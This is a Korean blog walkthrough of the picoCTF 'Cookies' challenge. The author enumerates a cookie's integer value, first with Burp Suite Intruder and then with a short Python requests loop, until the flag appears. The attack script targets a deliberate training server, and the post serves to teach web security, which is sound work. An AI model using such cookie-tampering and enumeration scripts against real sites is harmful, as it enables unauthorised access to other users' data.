Yozzang의 해킹일기 💻
article thumbnail
Published 2022. 5. 27. 14:51
picoCTF (Cookies) Wargame/PicoCTF
728x90

이번 포스트에서는 picoCTF의 Cookies 문제에 대해 다루겠다.

문제를 클릭하면 다음과 같은 화면을 볼 수 있다.

Cookies

자신이 얼마나 많은 쿠키를 좋아하는지를 물어보고 있다.

placeholder에 snickerdoodle라는 쿠키가 나와있으므로 그대로 입력해서 Search 버튼을 클릭해보겠다.
### 실행 결과 :

"I love snickerdoodle cookies"라는 문구가 출력된 것을 볼 수 있다.

해당 문제는 "쿠키"에 관한 문제이므로 개발자도구를 통해 페이지의 쿠키값을 확인해보겠다.

개발자 도구 (쿠키)

Name = name, Value = 0이라고 되어 있는 것을 확인할 수 있다.

여기서 Value의 값을 다른 숫자로 변경해서 결과를 확인해보겠다.

쿠키 Value를 재설정하고 페이지를 새로고침하면 다음과 같은 화면을 볼 수 있다.

화면에 출력된 문구가 chocolate chip으로 바뀐 것을 알 수 있다.

즉, 쿠키의 Value값을 바뀔 때마다 화면에 출력된 문구가 달라진다는 것을 짐작할 수 있다.

그럼 0~n번까지의 모든 상수를 대입해보면 언젠가 flag가 출력되지 않을까라는 생각이 들었다.
그러나 하나 하나씩 차례대로 대입하면 너무 힘들고 귀찮으니 버프 스위트의 intruder 기능을 활용해서 공격해보겠다.

0~50으로 설정했는데 Response의 Length를 확인해보니 29번부터가 현저히 낮아져 아마 쿠키의 Value가 28번까지 있는 것 같다.

또한 18번의 Length길이도 다른 Length길이보다 낮은 것으로 보아 아마 flag가 들어가 있는 Value값인 것 같다.

이어서 쿠키의 Value를 18번으로 바꾼 다음에 페이지 새로고침을 해보겠다.

공격 성공

예상대로 Flag가 출력된 것을 확인할 수 있다.


해당 문제를 버프 스위트의 기능 말고 파이썬 코드로도 공격이 가능하다.
### 공격 코드 :

import requests  # 라이브러리 불러오기

url = "http://mercury.picoctf.net:64944/check"  # URL 설정

for i in range(29):  # 0~29번까지 반복문 생성
    value = str(i)  # i의 값을 str로 강제 변환
    cookies = {'name': value}  # 쿠키값 채우기

    response = requests.get(url, cookies=cookies) # 요청
    result = response.text.split('<p style=\"text-align:center; font-size:30px;\"><b>')[1].split('</b>')[0] # 결과 자르기 (개발자 도구 활용하여 확인)
    print(f"Value : {i:2} | Result: {result}") # 결과 출력
    if 'I love' not in result: # I love가 결과값에 포함되면
        flag_v = i # Value값 저장

f_cookies = {'name': f"{flag_v}"} # flag_cookie 설정
f_response = requests.get(url, cookies=f_cookies) # flag 요청
f_result = f_response.text.split('<p style=\"text-align:center; font-size:30px;\"><b>Flag</b>: <code>')[1].split('</code>')[0] # 결과 자르기 (개발자 도구 활용하여 확인)
print(f"Flag: {f_result}") # Flag 출력

### 실행 결과 :

공격 코드 결과
profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!